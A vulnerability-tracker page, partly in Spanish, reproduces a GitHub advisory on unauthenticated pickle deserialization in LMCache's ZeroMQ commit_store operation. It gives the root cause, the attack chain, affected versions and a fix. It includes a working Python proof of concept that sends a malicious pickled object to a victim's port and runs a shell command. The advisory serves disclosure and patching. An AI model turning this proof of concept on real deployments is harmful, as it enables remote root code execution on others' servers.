GHSA-QR43-HV93-6X7P
Unauthenticated pickle deserialization in LMCache multiprocess commit_store (distinct sink from CVE-2026-105192)
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 0.5.7.post1 | lmcache · -6 d desde divulgación | |
| Divulgación | Publicada | GHSA-QR43-HV93-6X7P divulgada · CVSS 9.8 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
LMCache's multiprocess/distributed-mode ZeroMQ ROUTER socket (`lmcache/v1/multiprocess/mq.py`) is unauthenticated. In addition to the previously disclosed msgpack `ext_hook` path (CVE-2026-105192 / GHSA-vv44-hjm2-qw2f, scoped to `DeviceIPCWrapper.Deserialize`), the `commit_store` operation (op id 17) carries a plain `bytes`-typed payload that is pickle-loaded unconditionally. An unauthenticated attacker who can reach the ROUTER (`--host 0.0.0.0`/cross-node in distributed deployments) achieves remote code execution with a two-message sequence. This is a distinct sink and distinct code path from the previously disclosed advisory (CVE-2026-105192); a fix at `DeviceIPCWrapper.Deserialize` / the msgspec Ext hook does not close it.
Root Cause
`PickleTransferStrategy.commit_store` (and the SHM strategy's fallback) calls `pickle.loads` on the raw `cpu_data` bytes delivered by the client:
# lmcache/v1/multiprocess/modules/server_transfer.py:198-213 (v0.5.6rc3)
def commit_store(self, ..., cpu_data: bytes, ...):
obj_keys = resolve_obj_keys(key)
chunks: list[torch.Tensor] = pickle.loads(cpu_data) # <-- sink, line 212
...`cpu_data` originates from the wire payload for op 17 `commit_store`. The transport layer declares the field as `bytes` (see the `commit_store` message schema in `transport/base.py`), so the dispatcher in `mq.py:102-112` decodes it as a plain `msgspec.msgpack.decode(b_obj, type=bytes)` — `bytes` is not in `_SPECIAL_ENCODER_DECODERS` and is not `(bool, int)`, so no Ext hook is involved. The attacker fully controls the raw bytes passed to `pickle.loads`.
The SHM transfer strategy (`ShmTransferStrategy.commit_store`) also falls back to `PickleTransferStrategy.commit_store` whenever `cpu_data != b""`, so SHM configuration does not neutralize the sink.
Impact
- Unauthenticated remote code execution in the LMCache server process on every reachable deployment with `supported_transfer_mode ∈ {engine_driven, auto}`.
- Official container images set no `USER` directive, so RCE runs as root in those deployments.
- Full confidentiality (model weights, KV caches, tenant data), integrity, and availability loss.
Proof of Concept
import pickle, zmq, msgspec
from lmcache.v1.multiprocess.transfer.engine_driven_transfer import RegisterEngineDrivenContextPayload
from lmcache.v1.multiprocess.transfer.ipc_key import IPCCacheServerKey
class RCE:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))
ctx = zmq.Context(); s = ctx.socket(zmq.DEALER); s.connect("tcp://<victim>:5555")
# op 14: register_kv_cache_engine_driven_context
reg = RegisterEngineDrivenContextPayload(instance_id=1337, ..., dtype_str="float16", use_mla=False)
s.send_multipart([b"", b"", msgspec.msgpack.encode(reg)])
# op 17: commit_store with pickle-bomb cpu_data
key = IPCCacheServerKey(worker_id=0, ...)
payload = msgspec.msgpack.encode([key, 1337, pickle.dumps(RCE())])
s.send_multipart([b"", b"", payload])RCE fires inside `pickle.loads(cpu_data)` during the `__reduce__` dispatch before any downstream chunk/key logic is reached.
Attack Chain
- Entry — connect ZMQ DEALER to `tcp://<host>:<port>` (default 5555).
- Guard: none. `self.socket = self.ctx.socket(zmq.ROUTER); self.socket.bind(bind_url)` (mq.py:525-526). No CURVE/ZAP/authenticator in the entire `lmcache/v1/multiprocess` tree.
- Bypass proof: grep for `CURVE|zap_domain|Authenticator|plain_password|ServerInterceptor` in `lmcache/v1/multiprocess` (non-test) returns zero hits.
- Register — op 14 `register_kv_cache_engine_driven_context`.
- Guard: handler validates only `dtype_str` resolves to a `torch.dtype` (`engine_driven_transfer.py:286-292`).
- Bypass proof: `"float16"` passes; `create_transfer_strategy` with default `shm_name=""` returns `PickleTransferStrategy` (`server_transfer.py:66-80`).
- Trigger — op 17 `commit_store` with `[IPCCacheServerKey(worker_id=0, …), 1337, pickle.dumps(RCE())]`.
- Guard before sink: `_resolve_for_transfer(1337)` succeeds (registered in step 2); `resolve_obj_keys(key)` raises only if `key.worker_id is None` (`engine_context.py:317-318`).
- Bypass proof: attacker sets `worker_id=0`; control reaches `pickle.loads(cpu_data)` at `server_transfer.py:212` unconditionally. `__reduce__` fires during `pickle.loads`, before `chunks`/`obj_keys` are ever used.
- Impact — RCE as the LMCache process user (root in official container images).
Bypass Evidence
- Sink confirmed on `v0.5.6rc3`: `git show v0.5.6rc3:lmcache/v1/multiprocess/modules/server_transfer.py | sed -n '210,215p'` → `chunks: list[torch.Tensor] = pickle.loads(cpu_data)`.
- Sink NOT closed by the CVE-2026-105192 fix: that advisory scopes `DeviceIPCWrapper.Deserialize` (ext_hook path in `ipc_wrapper.py`). The `commit_store` payload field is typed `bytes`, decoded via `msgspec.msgpack.decode(..., type=bytes)` — no Ext/ext_hook involved. Independent code path, independent fix needed.
- SHM strategy fallback: `ShmTransferStrategy.commit_store` falls back to `PickleTransferStrategy.commit_store` when `cpu_data != b""` (`server_transfer.py:402-430`) — so SHM config does not avoid the sink.
Affected Versions
`<= 0.5.6rc3` (and HEAD `e64b43e`). Sink present on all listed tags; no post-release fix on `main`.
Configuration Preconditions
- `supported_transfer_mode ∈ {"engine_driven", "auto"}` (default is `"lmcache_driven"`; cross-node distributed-serving docs commonly set `"engine_driven"` or `"auto"`).
- Network reach requires `--host` set to a non-loopback address (same precondition as CVE-2026-105192).
Per CVSS 3.1 guidance, non-default configuration narrows the vulnerable population but does not raise AC; once the mode is set, exploitation is a deterministic two-message sequence.
Suggested Fix
Replace `pickle.loads(cpu_data)` with a typed deserializer (e.g., a dedicated msgspec `Decoder[list[TensorChunkMeta]]`), or wrap `cpu_data` in an authenticated envelope (HMAC/signed-channel) before unpickling. The same pattern should be applied to any other `pickle.loads` on wire-sourced bytes in `v1/multiprocess`.
---
Reported by zx (Jace) — GitHub: @manus-use
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilmcache |
Corregida | 0.5.7.post1 | -6 d | 0.5.7.post1 no afectada |
0.5.7.post10.5.7Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/LMCache/LMCache/security/advisories/GHSA-qr43-hv93-6x7pLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
